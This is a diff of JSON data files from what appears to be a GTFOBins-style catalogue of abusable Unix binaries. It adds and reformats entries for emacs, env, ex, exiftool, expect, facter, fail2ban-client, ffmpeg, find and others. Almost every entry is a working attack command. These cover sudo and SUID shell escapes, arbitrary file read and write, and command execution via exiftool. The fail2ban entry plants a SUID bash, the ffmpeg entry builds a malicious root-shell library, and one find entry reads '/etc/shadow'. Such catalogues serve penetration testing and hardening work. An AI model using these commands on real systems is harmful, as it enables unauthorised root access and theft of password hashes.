14
+ ],
15
+ "shell": [
16
+ {
17
+
18
+ "code": "elvish\n"
19
+ }
20
+ ],
21
+ "suid": [
22
+ {
23
+
24
+ "code": "./elvish\n"
25
+ }
26
+ ],
27
+ "sudo": [
28
+ {
29
+
30
+ "code": "sudo elvish\n"
31
+ }
32
+ ]
33
+ }
34
+ }
gtfo/data/emacs.json CHANGED
@@ -2,28 +2,33 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
- "code": "emacs -Q -nw --eval '(term \"/bin/sh\")'"
5
+
6
+ "code": "emacs -Q -nw --eval '(term \"/bin/sh\")'\n"
6
7
  }
7
8
  ],
8
9
  "file-write": [
9
10
  {
10
- "code": "emacs [file]\nDATA\nC-x C-s\n"
11
+
12
+ "code": "emacs file_to_write\nDATA\nC-x C-s\n"
11
13
  }
12
14
  ],
13
15
  "file-read": [
14
16
  {
15
- "code": "emacs [file]"
17
+
18
+ "code": "emacs file_to_read\n"
16
19
  }
17
20
  ],
18
21
  "suid": [
19
22
  {
20
- "code": "./emacs -Q -nw --eval '(term \"/bin/sh -p\")'"
23
+
24
+ "code": "./emacs -Q -nw --eval '(term \"/bin/sh -p\")'\n"
21
25
  }
22
26
  ],
23
27
  "sudo": [
24
28
  {
25
- "code": "sudo emacs -Q -nw --eval '(term \"/bin/sh\")'"
29
+
30
+ "code": "sudo emacs -Q -nw --eval '(term \"/bin/sh\")'\n"
26
31
  }
27
32
  ]
28
33
  }
29
- }
34
+ }
@@ -0,0 +1,16 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+
6
+ "code": "enscript /dev/null -qo /dev/null -I '/bin/sh >&2'\n"
7
+ }
8
+ ],
9
+ "sudo": [
10
+ {
11
+
12
+ "code": "sudo enscript /dev/null -qo /dev/null -I '/bin/sh >&2'\n"
13
+ }
14
+ ]
15
+ }
16
+ }
gtfo/data/env.json CHANGED
@@ -2,18 +2,21 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
- "code": "env /bin/sh"
5
+
6
+ "code": "env /bin/sh\n"
6
7
  }
7
8
  ],
8
9
  "suid": [
9
10
  {
10
- "code": "./env /bin/sh -p"
11
+
12
+ "code": "./env /bin/sh -p\n"
11
13
  }
12
14
  ],
13
15
  "sudo": [
14
16
  {
15
- "code": "sudo env /bin/sh"
17
+
18
+ "code": "sudo env /bin/sh\n"
16
19
  }
17
20
  ]
18
21
  }
19
- }
22
+ }
gtfo/data/eqn.json CHANGED
@@ -1,20 +1,22 @@
1
1
  {
2
- "description": "The content is actually parsed and corrupted by the command, thus it may not be suitable for arbitrary files.",
3
2
  "functions": {
4
3
  "file-read": [
5
4
  {
6
- "code": "eqn \"[file]\"\n"
5
+
6
+ "code": "LFILE=file_to_read\neqn \"$LFILE\"\n"
7
7
  }
8
8
  ],
9
9
  "suid": [
10
10
  {
11
- "code": "./eqn \"[file]\"\n"
11
+
12
+ "code": "LFILE=file_to_read\n./eqn \"$LFILE\"\n"
12
13
  }
13
14
  ],
14
15
  "sudo": [
15
16
  {
16
- "code": "sudo eqn \"[file]\"\n"
17
+
18
+ "code": "LFILE=file_to_read\nsudo eqn \"$LFILE\"\n"
17
19
  }
18
20
  ]
19
21
  }
20
- }
22
+ }
gtfo/data/espeak.json ADDED
@@ -0,0 +1,22 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+
6
+ "code": "LFILE=file_to_read\nespeak -qXf \"$LFILE\"\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+
12
+ "code": "LFILE=file_to_read\n./espeak -qXf \"$LFILE\"\n"
13
+ }
14
+ ],
15
+ "sudo": [
16
+ {
17
+
18
+ "code": "LFILE=file_to_read\nsudo espeak -qXf \"$LFILE\"\n"
19
+ }
20
+ ]
21
+ }
22
+ }
gtfo/data/ex.json CHANGED
@@ -1,24 +1,32 @@
1
1
  {
2
- "functions": {
3
- "shell": [
4
- {
5
- "code": "ex\n!/bin/sh\n"
6
- }
7
- ],
8
- "file-write": [
9
- {
10
- "code": "ex [file]\na\nDATA\n.\nw\nq\n"
11
- }
12
- ],
13
- "file-read": [
14
- {
15
- "code": "ex [file]\n,p\nq\n"
16
- }
17
- ],
18
- "sudo": [
19
- {
20
- "code": "sudo ex\n!/bin/sh\n"
21
- }
22
- ]
23
- }
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+
6
+ "code": "ex\n!/bin/sh\n"
7
+ }
8
+ ],
9
+ "file-write": [
10
+ {
11
+
12
+ "code": "ex file_to_write\na\nDATA\n.\nw\nq\n"
13
+ }
14
+ ],
15
+ "file-read": [
16
+ {
17
+
18
+ "code": "ex file_to_read\n,p\nq\n"
19
+ }
20
+ ],
21
+ "sudo": [
22
+ {
23
+
24
+ "code": "sudo ex\n!/bin/sh\n"
25
+ },
26
+ {
27
+ "description": "",
28
+ "code": "sudo ex -c ':!/bin/sh'\n"
29
+ }
30
+ ]
24
31
  }
32
+ }
gtfo/data/exiftool.json CHANGED
@@ -1,19 +1,41 @@
1
1
  {
2
- "description": "If the permissions allow it, files are moved (instead of copied) to the destination.\n",
2
+ "description": "If the permissions allow it, files are moved (instead of copied) to the destination.",
3
3
  "functions": {
4
4
  "file-read": [
5
5
  {
6
- "code": "exiftool -filename=[output] [file]\ncat [output]\n"
6
+ "code": "LFILE=file_to_read\nOUTPUT=output_file\nexiftool -filename=$OUTPUT $LFILE\ncat $OUTPUT"
7
+ },
8
+ {
9
+ "description": "Exfiltrate file data via metadata tags",
10
+ "code": "LFILE=file_read\nINPUT=input_file\nexiftool \"-description<=$LFILE\" --filename $INPUT"
7
11
  }
8
12
  ],
9
13
  "file-write": [
10
14
  {
11
- "code": "exiftool -filename=[file] [input]\n"
15
+ "code": "LFILE=file_to_write\nINPUT=input_file\nexiftool -filename=$LFILE $INPUT"
16
+ },
17
+ {
18
+ "description": "Write file from metadata tag's content",
19
+ "code": "LFILE=file_to_write\nINPUT=input_file\nexiftool -description -W $LFILE --filename $INPUT"
12
20
  }
13
21
  ],
14
22
  "sudo": [
15
23
  {
16
- "code": "sudo exiftool -filename=[file] [input]\n"
24
+ "code": "LFILE=file_to_write\nINPUT=input_file\nsudo exiftool -filename=$LFILE $INPUT"
25
+ }
26
+ ],
27
+ "command": [
28
+ {
29
+ "code": "COMMAND=command_to_execute\nINPUT=input_file\nexiftool -if \"system('$COMMAND');1\" --filename $INPUT"
30
+ },
31
+ {
32
+ "description": "Run system command and exfiltrate result via metadata tags",
33
+ "code": "COMMAND=command_to_execute\nINPUT=input_file\nexiftool -userparam \"inj=Test\" -if \"\\$\\$self{OPTIONS}{UserParam}{inj}=\\`$COMMAND\\`;1\" '-description<$inj' --filename $INPUT"
34
+ }
35
+ ],
36
+ "shell": [
37
+ {
38
+ "code": "INPUT=input_file\nexiftool -if \"system('bash')\" $INPUT"
17
39
  }
18
40
  ]
19
41
  }
gtfo/data/expand.json CHANGED
@@ -1,20 +1,22 @@
1
1
  {
2
- "description": "The read file content is corrupted by replacing tabs with spaces.",
3
2
  "functions": {
4
3
  "file-read": [
5
4
  {
6
- "code": "expand \"[file]\"\n"
5
+
6
+ "code": "LFILE=file_to_read\nexpand \"$LFILE\"\n"
7
7
  }
8
8
  ],
9
9
  "suid": [
10
10
  {
11
- "code": "./expand \"[file]\"\n"
11
+
12
+ "code": "LFILE=file_to_read\n./expand \"$LFILE\"\n"
12
13
  }
13
14
  ],
14
15
  "sudo": [
15
16
  {
16
- "code": "sudo expand \"[file]\"\n"
17
+
18
+ "code": "LFILE=file_to_read\nsudo expand \"$LFILE\"\n"
17
19
  }
18
20
  ]
19
21
  }
20
- }
22
+ }
gtfo/data/expect.json CHANGED
@@ -1,19 +1,28 @@
1
1
  {
2
2
  "functions": {
3
+ "file-read": [
4
+ {
5
+ "description": "The file is read and parsed as an `expect` command file, the content of the first invalid line is returned in an error message. Thus, this might not be suitable to read arbitrary binary files.",
6
+ "code": "LFILE=file_to_read\nexpect $LFILE\n"
7
+ }
8
+ ],
3
9
  "shell": [
4
10
  {
5
- "code": "expect -c 'spawn /bin/sh;interact'"
11
+
12
+ "code": "expect -c 'spawn /bin/sh;interact'\n"
6
13
  }
7
14
  ],
8
15
  "suid": [
9
16
  {
10
- "code": "./expect -c 'spawn /bin/sh -p;interact'"
17
+
18
+ "code": "./expect -c 'spawn /bin/sh -p;interact'\n"
11
19
  }
12
20
  ],
13
21
  "sudo": [
14
22
  {
15
- "code": "sudo expect -c 'spawn /bin/sh;interact'"
23
+
24
+ "code": "sudo expect -c 'spawn /bin/sh;interact'\n"
16
25
  }
17
26
  ]
18
27
  }
19
- }
28
+ }
gtfo/data/facter.json CHANGED
@@ -2,13 +2,15 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
+
5
6
  "code": "TF=$(mktemp -d)\necho 'exec(\"/bin/sh\")' > $TF/x.rb\nFACTERLIB=$TF facter\n"
6
7
  }
7
8
  ],
8
9
  "sudo": [
9
10
  {
10
- "code": "TF=$(mktemp -d)\necho 'exec(\"/bin/sh\")' > $TF/x.rb\nsudo FACTERLIB=$TF facter\n"
11
+
12
+ "code": "TF=$(mktemp -d)\necho 'exec(\"/bin/sh\")' > $TF/x.rb\nsudo facter --custom-dir=$TF x\n"
11
13
  }
12
14
  ]
13
15
  }
14
- }
16
+ }
@@ -0,0 +1,14 @@
1
+ {
2
+ "functions": {
3
+ "sudo": [
4
+ {
5
+ "description": "",
6
+ "code": "COMMAND=\"id\"\nsudo fail2ban-client add woot\nsudo fail2ban-client set woot addaction wootaction\nsudo fail2ban-client set woot action wootaction actionban \"$COMMAND\"\nsudo fail2ban-client start woot\nsudo fail2ban-client set woot banip 999.999.999.999\nsudo fail2ban-client set woot unbanip 999.999.999.999\nsudo fail2ban-client stop woot\n"
7
+ },
8
+ {
9
+ "description": "Loading tempered configuration file including code.\nRequires restarting the service.\nSince we, most likely, can't write into /etc/fail2ban/, we can copy the configuration folder to a temporary location and load this copy.\n",
10
+ "code": "TD_conf=$(mktemp -d)\nrsync -av /etc/fail2ban/ $TD_conf\nTD_exploit=$(mktemp -d)\ncat > $TD_exploit/exploit <<EOF\n#!/bin/sh\ncp /bin/bash $TD_exploit/bash\nchmod 755 $TD_exploit/bash\nchmod u+s $TD_exploit/bash\nEOF\nchmod +x $TD_exploit/exploit\ncat > $TD_conf/action.d/custom-start-command.conf <<EOF\n[Definition]\nactionstart = $TD_exploit/exploit\nEOF\ncat >> $TD_conf/jail.local <<EOF\n[my-custom-jail]\nenabled = true\naction = custom-start-command\nEOF\ncat > $TD_conf/filter.d/my-custom-jail.conf <<EOF\n[Definition]\nEOF\nsudo /usr/bin/fail2ban-client -c $TD_conf -v restart\n$TD_exploit/bash -p\n"
11
+ }
12
+ ]
13
+ }
14
+ }
gtfo/data/ffmpeg.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "functions": {
3
+ "sudo": [
4
+ {
5
+ "description": "The ladspa filter loads external plugins for audio processing. Load a malicious shared library to execute code and get a shell.",
6
+ "code": "TD=$(mktemp -d)\nprintf \"\\x52\\x49\\x46\\x46\\x24\\x00\\x00\\x00\\x57\\x41\\x56\\x45\\x66\\x6d\\x74\\x20\\x10\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x22\\x56\\x00\\x00\\x22\\x56\\x00\\x00\\x01\\x00\\x08\\x00\\x64\\x61\\x74\\x61\\x00\\x00\\x00\\x00\" > \"$TD/any.wav\"\necho -e '#include <unistd.h>\\n#include <stdlib.h>\\n__attribute__((constructor)) static void setup(void) {\\nsetgid(0);\\nsetuid(0);\\nsystem(\"/bin/sh -c reset\");\\nsystem(\"/bin/sh\");\\n}' | gcc -x c -shared -fPIC -o $TD/libgtfo.so - \nsudo ffmpeg -i $TD/any.wav -af \"ladspa=file=$TD/libgtfo.so\" -f null a.wav\n"
7
+ }
8
+ ]
9
+ }
10
+ }
gtfo/data/file.json CHANGED
@@ -2,24 +2,24 @@
2
2
  "functions": {
3
3
  "file-read": [
4
4
  {
5
- "description": "Each input line is treated as a filename for the 'file' command and the output is corrupted by a suffix ':' followed by the result or the error of the operation, so this may not be suitable for binary files.",
6
- "code": "file -f [file]\n"
5
+ "description": "Each input line is treated as a filename for the `file` command and the output is corrupted by a suffix `:` followed by the result or the error of the operation, so this may not be suitable for binary files.",
6
+ "code": "LFILE=file_to_read\nfile -f $LFILE\n"
7
7
  },
8
8
  {
9
- "description": "Each line is corrupted by a prefix string and wrapped inside quotes, so this may not be suitable for binary files. If a line in the target file begins with a '#', it will not be printed as these lines are parsed as comments. It can also be provided with a directory and will read each file in the directory.",
10
- "code": "file -m [file]\n"
9
+ "description": "Each line is corrupted by a prefix string and wrapped inside quotes, so this may not be suitable for binary files.\n\nIf a line in the target file begins with a `#`, it will not be printed as these lines are parsed as comments.\n\nIt can also be provided with a directory and will read each file in the directory.\n",
10
+ "code": "LFILE=file_to_read\nfile -m $LFILE\n"
11
11
  }
12
12
  ],
13
13
  "suid": [
14
14
  {
15
- "description": "Each input line is treated as a filename for the 'file' command and the output is corrupted by a suffix ':' followed by the result or the error of the operation, so this may not be suitable for binary files.",
16
- "code": "./file -f [file]\n"
15
+ "description": "Each input line is treated as a filename for the `file` command and the output is corrupted by a suffix `:` followed by the result or the error of the operation, so this may not be suitable for binary files.",
16
+ "code": "LFILE=file_to_read\n./file -f $LFILE\n"
17
17
  }
18
18
  ],
19
19
  "sudo": [
20
20
  {
21
- "description": "Each input line is treated as a filename for the 'file' command and the output is corrupted by a suffix ':' followed by the result or the error of the operation, so this may not be suitable for binary files.",
22
- "code": "sudo file -f [file]\n"
21
+ "description": "Each input line is treated as a filename for the `file` command and the output is corrupted by a suffix `:` followed by the result or the error of the operation, so this may not be suitable for binary files.",
22
+ "code": "LFILE=file_to_read\nsudo file -f $LFILE\n"
23
23
  }
24
24
  ]
25
25
  }
gtfo/data/find.json CHANGED
@@ -2,18 +2,33 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
- "code": "find . -exec /bin/sh \\; -quit"
5
+
6
+ "code": "find . -exec /bin/sh \\; -quit\n"
6
7
  }
7
8
  ],
8
9
  "suid": [
9
10
  {
10
- "code": "./find . -exec /bin/sh -p \\; -quit"
11
+
12
+ "code": "./find . -exec /bin/sh -p \\; -quit\n"
11
13
  }
12
14
  ],
13
15
  "sudo": [
14
16
  {
15
- "code": "sudo find . -exec /bin/sh \\; -quit"
17
+
18
+ "code": "sudo find . -exec /bin/sh \\; -quit\n"
19
+ }
20
+ ],
21
+ "file-write": [
22
+ {
23
+ "description": "DATA is a format string, it supports some escape sequences.",
24
+ "code": "LFILE=file_to_write\nfind / -fprintf \"$FILE\" DATA -quit\n"
25
+ }
26
+ ],
27
+ "file-read": [
28
+ {
29
+ "description": "",
30
+ "code": "find /etc -name shadow -exec cat {} \\;\n"
16
31
  }
17
32
  ]
18
33
  }
19
- }
34
+ }